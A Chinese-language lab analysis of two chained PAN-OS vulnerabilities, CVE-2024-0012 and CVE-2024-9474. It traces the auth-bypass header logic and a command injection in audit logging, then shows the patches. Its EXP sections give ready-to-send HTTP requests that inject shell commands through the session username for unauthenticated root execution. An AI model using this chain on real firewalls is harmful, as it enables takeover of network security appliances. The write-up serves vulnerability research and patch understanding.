CVE-2024-0012/9474 PAN-OS 身份验证绕过+RCE

CVE-2024-0012

漏洞描述

Palo Alto Networks PAN-OS 软件中的身份验证绕过功能使未经身份验证的攻击者能够通过网络访问管理 Web 界面,从而获得 PAN-OS 管理员权限,以执行管理作、篡改配置或利用其他经过身份验证的权限提升漏洞,如 CVE-2024-9474。

影响范围

image-20250223191348418

环境搭建

image-20250223191542053

https://blog.51cto.com/jianghxa/5268509

注意:登录后需要设置密码,密码复杂度如:Zxcasdqwe123#

img

查看IPshow interface management

img

默认开始ssh,但是是CLI

img

查看端口发现开放了443,但没有开放80,因此访问web端需要注意https

img

漏洞分析

该防火墙里面有很多php文件,分析php.ini文件,通过find命令查找发现有很多php.ini文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[root@PA-VM /]# find | grep php.ini
find | grep php.ini
./var/appweb/htdocs/vendor/mongodb/mongodb/.evergreen/config/php.ini
./etc/php.ini
./etc/httpd/mgmtui/php.ini
./etc/appweb3/sslvpn/php.ini
./etc/appweb3/l3svc/php.ini
./opt/plugins/etc/php.ini
./opt/plugins/usr/share/doc/php-common/php.ini-production
./opt/plugins/usr/share/doc/php-common/php.ini-development
./usr/share/doc/php-common/php.ini-production
./usr/share/doc/php-common/php.ini-development
./usr/lib32/php.ini
./usr/lib/php.ini

此时,执行下面,然后get请求k0mor3b1.php文件可以看到,配置文件是/etc/httpd/mgmtui/php.ini

1
echo "<?php phpinfo(); ?>" > /var/appweb/htdocs/unauth/k0mor3b1.php

img

分析/etc/httpd/mgmtui/php.ini文件发现下面配置:

1
auto_prepend_file = uiEnvSetup.php ; PAN-MODIFIED

**auto_prepend_file**关键字

  • PHP 会在执行每个脚本前自动加载指定的文件(此处为 uiEnvSetup.php),相当于在所有 PHP 文件开头隐式插入 require_once('uiEnvSetup.php')
  • 典型用途:全局初始化环境变量、预加载公共函数库、开启安全过滤、设置数据库连接池或注入统一的 HTTP 头。

查找uiEnvSetup.php文件,发现有两个

1
2
3
[root@PA-VM /]# find | grep uiEnvSetup.php
./var/appweb/htdocs/phpincludes/uiEnvSetup.php
./opt/plugins/var/appweb/htdocs/phpincludes/uiEnvSetup.php

通过上面获取的phpinfo去查看include_path确定目录顺序查找文件的优先级

img

查看./var/appweb/htdocs/phpincludes/uiEnvSetup.php文件,重点关注里面会话和身份验证处理部分

只有当以下条件都满足时才会进行会话鉴权:

  1. HTTP_X_PAN_AUTHCHECK 的值不等于 off
  2. 请求的脚本路径 (PHP_SELF) 既不等于 /CA/ocsp,也不等于 /php/login.php
  3. 请求的 IP (REMOTE_HOST) 不包含 127.0.0.1

因此,只要有任意一个条件不满足(例如 HTTP_X_PAN_AUTHCHECKoff、请求路径是 /CA/ocsp/php/login.php,或者请求来自 127.0.0.1),就不会触发会话身份鉴权流程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
[root@PA-VM /]# cat ./var/appweb/htdocs/phpincludes/uiEnvSetup.php
<?php

use pan_core\Container;
use pan_core\Lifecycle;
use pan_core\Str;
use pan_fs\FS;
use pan_log\Log;
use pan_store\Store;
use panui_core\http\WebSession;

...

//会话和身份验证处理
if (
$_SERVER['HTTP_X_PAN_AUTHCHECK'] != 'off'
&& $_SERVER['PHP_SELF'] !== '/CA/ocsp'
&& $_SERVER['PHP_SELF'] !== '/php/login.php'
&& stristr($_SERVER['REMOTE_HOST'], '127.0.0.1') === false
) {
$_SERVER['PAN_SESSION_READONLY'] = true;
$ws = WebSession::getInstance($ioc);
$ws->start();
$ws->close();
// these are horrible hacks.
// This whole code should be removed and only make available to a few pages: main, debug, etc.
if (
!Str::startsWith($_SERVER['PHP_SELF'], '/php-packages/panorama_webui/php/api/index.php')
&& !Str::startsWith($_SERVER['PHP_SELF'], '/php-packages/firewall_webui/php/api/index.php')
) {
if (Backend::quickSessionExpiredCheck()) {
if (isset($_SERVER['QUERY_STRING'])) {
Util::login($_SERVER['QUERY_STRING']);
} else {
Util::login();
}
exit(1);
}
}
}

通过查找X-pan-AuthCheck找到了etc/nginx/conf/proxy_default.conf文件

1
2
3
4
5
6
7
8
9
10
11
[root@PA-VM /]# cat etc/nginx/conf/proxy_default.conf
# default proxy request header setting
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Real-Scheme $scheme;
proxy_set_header X-Real-Port $server_port;
proxy_set_header X-Real-Server-IP $server_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-pan-ndpp-mode $pan_ndpp_mode;
proxy_set_header Proxy "";
proxy_set_header X-pan-AuthCheck $panAuthCheck;

继续跟进panAuthCheck,找到了etc/nginx/conf/locations.conf文件

$panAuthCheckoff 的情况包括:

  • 请求路径以 /unauth/ 开头。
  • 请求路径是 /php/logout.php
  • 默认$panAuthCheckon
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[root@PA-VM /]# cat etc/nginx/conf/locations.conf
...

# Chrome cache large source map making them out of date.
location ~ \.js\.map$ {
add_header Cache-Control "no-cache; no-store";
proxy_pass_header Authorization;
proxy_pass http://$gohost$gohostExt;
}

# turn on auth check by default
set $panAuthCheck 'on';

if ($uri ~ ^\/unauth\/.+$) {
set $panAuthCheck 'off';
}

if ($uri = /php/logout.php) {
set $panAuthCheck 'off';
}

...

.js.map的请求进行详细分析如下:

add_header Cache-Control "no-cache; no-store";

  • add_header: 这个指令用于添加 HTTP 响应头。它会向响应中添加 Cache-Control 头部。
  • Cache-Control "no-cache; no-store":
    • no-cache 表示即使缓存内容存在,浏览器在使用缓存的内容之前,仍需向服务器进行验证。
    • no-store 表示浏览器不应该缓存响应内容,确保每次请求都从服务器获取最新的数据。

proxy_pass_header Authorization;

  • proxy_pass_header: 这个指令将特定的 HTTP 头传递给后端服务器。在这种情况下,它传递了 Authorization 头部。
  • Authorization 头用于传递认证信息,通常用于身份验证(如基本认证或 Bearer Token)。将这个头部转发给后端服务器可以确保后端在处理请求时拥有相同的认证信息。

proxy_pass http://$gohost$gohostExt;

  • proxy_pass: 这个指令将请求代理到指定的后端服务器。proxy_pass 后面跟的是一个 URL,指示请求应该转发到哪里。
  • $$gohos$$gohostExt: 这两个变量可能在其他地方定义,$gohost 是主机名(可能是服务器的主机名或 IP 地址),而 $gohostExt 可能是端口或其他附加信息(例如扩展名或路径)。这两个变量的值将共同构成完整的后端地址。
1
2
3
4
5
location ~ \.js\.map$ {
add_header Cache-Control "no-cache; no-store";
proxy_pass_header Authorization;
proxy_pass http://$gohost$gohostExt;
}

因此,当对.js.map的请求头包含X-PAN-AUTHCHECK: off时,即可绕过鉴权

补丁分析

添加了X-PAN-AUTHCHECK: on

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
add_header Allow "GET, HEAD, POST, PUT, DELETE, OPTIONS";
if ($request_method !~ ^(GET|HEAD|POST|PUT|DELETE|OPTIONS)$) {
return 405;
}

+proxy_set_header X-Real-IP "";
+proxy_set_header X-Real-Scheme "";
+proxy_set_header X-Real-Port "";
+proxy_set_header X-Real-Server-IP "";
+proxy_set_header X-Forwarded-For "";
+proxy_set_header X-pan-ndpp-mode "";
+proxy_set_header Proxy "";
+proxy_set_header X-pan-AuthCheck 'on';
# rewrite_log on;

# static ones
@@ -27,6 +17,5 @@ location /nginx_status {
location ~ \.js\.map$ {
add_header Cache-Control "no-cache; no-store";
proxy_pass_header Authorization;
+ include conf/proxy_default.conf;
proxy_pass http://$gohost$gohostExt;
}

EXP

img

img

CVE-2024-9474

漏洞描述

Palo Alto Networks PAN-OS 软件中存在一个权限提升漏洞,使得有权访问管理 Web 界面的 PAN-OS 管理员能够使用 root 权限在防火墙上执行作。

此问题适用于 PA 系列、VM 系列和 CN 系列防火墙以及 Panorama(虚拟和 M 系列)和 WildFire 设备上的 PAN-OS 10.1PAN-OS 10.2PAN-OS 11.0PAN-OS 11.1PAN-OS 11.2 软件。

Cloud NGFWPrisma Access 不受此漏洞的影响。

影响范围

image-20250223192327631

漏洞分析

/var/appweb/htdocs/php-packages/panui_core/src/log/AuditLog.php文件中,存在一个很明显的命令执行漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[root@PA-VM /]# cat /var/appweb/htdocs/php-packages/panui_core/src/log/AuditLog.php
<?php

namespace panui_core\log;

use pan_core\InjectableClass;
use pan_process\Process;
use pan_process\ShellSanitizer;

class AuditLog extends InjectableClass
{
public function write($username, $message) {
/** @var ShellSanitizer */
$s = $this->ioc->get(ShellSanitizer::class);
$msg = $s->escapeshellarg($message);

/** @var Process */
$p = $this->ioc->get(Process::class);
return $p->pexecute("/usr/local/bin/pan_elog -u audit -m $msg -o $username");
}
}

var/appweb/htdocs/php-packages/pan_process/src/Process.php文件中进行命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function pexecute($cmd)
{
$this->log->elapsed("$cmd starts");
$descriptors = [
0 => ['pipe', 'r'], // stdin is a pipe that the child will read from
1 => ['pipe', 'w'], // stdout is a pipe that the child will write to
2 => ['file', '/dev/null', 'w'], // stderr is a file to write to
];

$process = proc_open($cmd, $descriptors, $pipes);
fclose($pipes[0]);

$stdout = stream_get_contents($pipes[1]);
$code = proc_close($process);

$this->log->elapsed("$cmd ends - code: $code stdout: $stdout");
return [
'code' => $code,
'stdout' => $stdout,
];
}

分析/var/appweb/htdocs/php-packages/panui_core/src/log/AuditLog.php文件中的write函数调用,定位到了var/appweb/htdocs/php-packages/panui_core/src/tracking/AdminActivity.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<?php

namespace panui_core\tracking;

use pan_core\Container;
use pan_core\InjectableTrait;
use panui_core\http\Session;
use panui_core\log\AuditLog;
use panui_core\log\SysLog;

/**
* @remotable
*/
class AdminActivity
{
use InjectableTrait;

...
public function accessTab($target)
{
if (!self::isValidTabName($target)) return self::FAIL_RESPONSE;

/** @var Session */
$session = $this->ioc->get(Session::class);
$username = $session->get('userName');
$sys = $target === 'monitor'
? $this->writeSysLog($username, "tab: $target")
: true;
$audit = $this->writeAuditLog($username, "tab: $target");
if ($sys && $audit) {
return [
'@status' => 'success',
'@code' => '19'
];
}
$result = [
'@status' => 'failure'
];
if (!$sys && !$audit) {
$result['msg'] = _T("Could not generate system logs for accessing Monitor tab and audit tracking logs.");
} else if (!$sys) {
$result['msg'] = _T("Could not generate system logs for accessing Monitor tab.");
} else if (!$audit) {
$result['msg'] = _T("Could not generate audit tracking logs.");
}
return $result;
}

/**
* @remotable
*/
public function accessNode($target)
{
if (!self::isValidNodeName($target)) return self::FAIL_RESPONSE;

/** @var Session */
$session = $this->ioc->get(Session::class);
$username = $session->get('userName');
$success = $this->writeAuditLog($username, "node: $target");

if ($success) {
return [
'@status' => 'success',
'@code' => '19'
];
}

return [
'@status' => 'failure',
'msg' => _T("Could not generate audit tracking logs.")
];
}

...

private function writeAuditLog($username, $target)
{
/** @var AuditLog */
$auditLog = $this->ioc->get(AuditLog::class);
$result = $auditLog->write($username, "User $username accessed $target");
return $result['code'] === 0;
}

...
}

分析$username的传参,再跟进/var/appweb/htdocs/php-packages/panui_core/src/http/Session.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
[root@PA-VM /]# cat /var/appweb/htdocs/php-packages/panui_core/src/http/Session.php
<?php

namespace panui_core\http;

use pan_core\InjectableClass;
use pan_fs\FS;
use pan_http\Cookie;
use pan_http\Server;
use pan_http\Session as HttpSession;
use panui_core\mgmt\ResponseFormatter;
use panui_core\mgmt\XmlRequest;

/**
* @internal `panui_core\http\Session` is not inherited from `pan_http\Session`.
* Because it is often used directly, so it is a typical subject of `overrideSpec()`.
* That means it needs to reference the external dependency (`pan_http\Session`)
* so that the `RemoteSpec` can capture the calls.
*/
class Session extends InjectableClass
{
...

function __call($name, $args)
{
$session = $this->getHttpSession();
return $session->{$name}(...$args);
}

/**
* @return HttpSession
*/
private function getHttpSession()
{
return $this->ioc->get(HttpSession::class);
}

...
}

继续跟进/var/appweb/htdocs/php-packages/panui_core/src/http/Session.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
[root@PA-VM /]# cat ./var/appweb/htdocs/php-packages/pan_http/src/Session.php
<?php

/**
* For Session, I cannot inherit from `SuperGlobalWrapper`.
* `$_SESSION` does not exist until `session_start()` is called,
* and during IoC, it is not called.
*/

namespace pan_http;

use Closure;
use pan_core\Container;

/**
* Encapsulate the $_SESSION super global,
* and PHP session management functions.
*/
class Session
{
...

/**
* @param $key
* @return bool
*/
function exists($key)
{
return isset($_SESSION[$key]);
}

/**
* @param $key
* @return null|string|array
*/
function get($key, $default = null)
{
return $this->exists($key) ? $_SESSION[$key] : $default;
}

...
}

综上,在/var/appweb/htdocs/php-packages/panui_core/src/log/AuditLog.php文件中$username参数来自于sess_id文件里面的$username

1
2
[root@PA-VM phpsessions]# cat sess_okli6j1220bal4mgngs2nihjst
cmsRemoteSession|s:1:"1";panorama_sessionid|s:5:"dummy";user|s:16:"4729754977522173";userName|s:4:"`id`";userRole|s:9:"superuser";vsys|s:5:"vsys1";editShared|N;numRulphperPage|s:2:"25";model|s:5:"PA-VM";family|s:2:"vm";serialNo|s:7:"unknown";version|s:6:"11.0.1";isCms|s:2:"no";dloc|s:23:"8:localhost.localdomain";loc|s:30:"16:localhost.localdomain:vsys1";

分析/var/appweb/htdocs/php/utils/createRemoteAppwebSession.php文件,发现可以创建一个sess_id的文件,并且user可控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
[root@PA-VM /]# cat /var/appweb/htdocs/php/utils/createRemoteAppwebSession.php
<?php

WebSession::start();

/** @noinspection PhpUndefinedFunctionInspection */
$isCms = panui_platform_is_cms();
if ($isCms == 0) {
// create a remote appweb session only on a device
// 'vsys' is the list of accessible vsys for the user. If blank then it means all vsys

$locale = isset($_POST['locale']) ? $_POST['locale'] : $_SESSION['locale'];
/** @noinspection PhpUndefinedFunctionInspection */
panCreateRemoteAppwebSession(
$_POST['user'],
$_POST['userRole'],
$_POST['remoteHost'],
$_POST['vsys'],
$_POST['editShared'],
$_POST['prot'],
$_SERVER['SERVER_PORT'],
$_POST['rbaxml'],
$locale,
$_POST['hideHeaderBg']
);
}

session_write_close();

当创建好sess_id文件后,我们只需要使用这个sessionid即可触发漏洞代码写日志

补丁分析

$username参数进行了过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

namespace panui_core\log;

use pan_core\InjectableClass;
use pan_process\Process;
use pan_process\ShellSanitizer;

class AuditLog extends InjectableClass
{
public function write($username, $message) {
/** @var ShellSanitizer */
$s = $this->ioc->get(ShellSanitizer::class);
$msg = $s->escapeshellarg($message);
/** @var Process */
$p = $this->ioc->get(Process::class);
- return $p->pexecute("/usr/local/bin/pan_elog -u audit -m $msg -o $username");
+ $u = $s->escapeshellarg($username);
+ return $p->pexecute("/usr/local/bin/pan_elog -u audit -m $msg -o $u");
}
}

EXP

控制变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /php/utils/createRemoteAppwebSession.php/k0mor3b1.js.map HTTP/1.1
Host: 192.168.2.151
X-PAN-AUTHCHECK: off
Content-Type: application/x-www-form-urlencoded
Content-Length: 106

user=`echo $(uname -a) > /var/appweb/htdocs/unauth/k0mor3b1.php`&userRole=superuser&remoteHost=&vsys=vsys1

HTTP/1.1 200 OK
Date: Sun, 16 Feb 2025 06:12:26 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 48
Connection: keep-alive
Set-Cookie: PHPSESSID=837b0e3fu9bn9m05v4hip6ncdc; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache; no-store

@start@PHPSESSID=837b0e3fu9bn9m05v4hip6ncdc@end@

命令执行

1
2
3
4
5
GET /index.php/.js.map HTTP/1.1
Host: 192.168.2.151
Cookie: PHPSESSID=837b0e3fu9bn9m05v4hip6ncdc;
X-PAN-AUTHCHECK: off
Connection: keep-alive

img

img

img

参考链接

https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

https://mirror.cloudpropeller.com/paloalto/vm-series/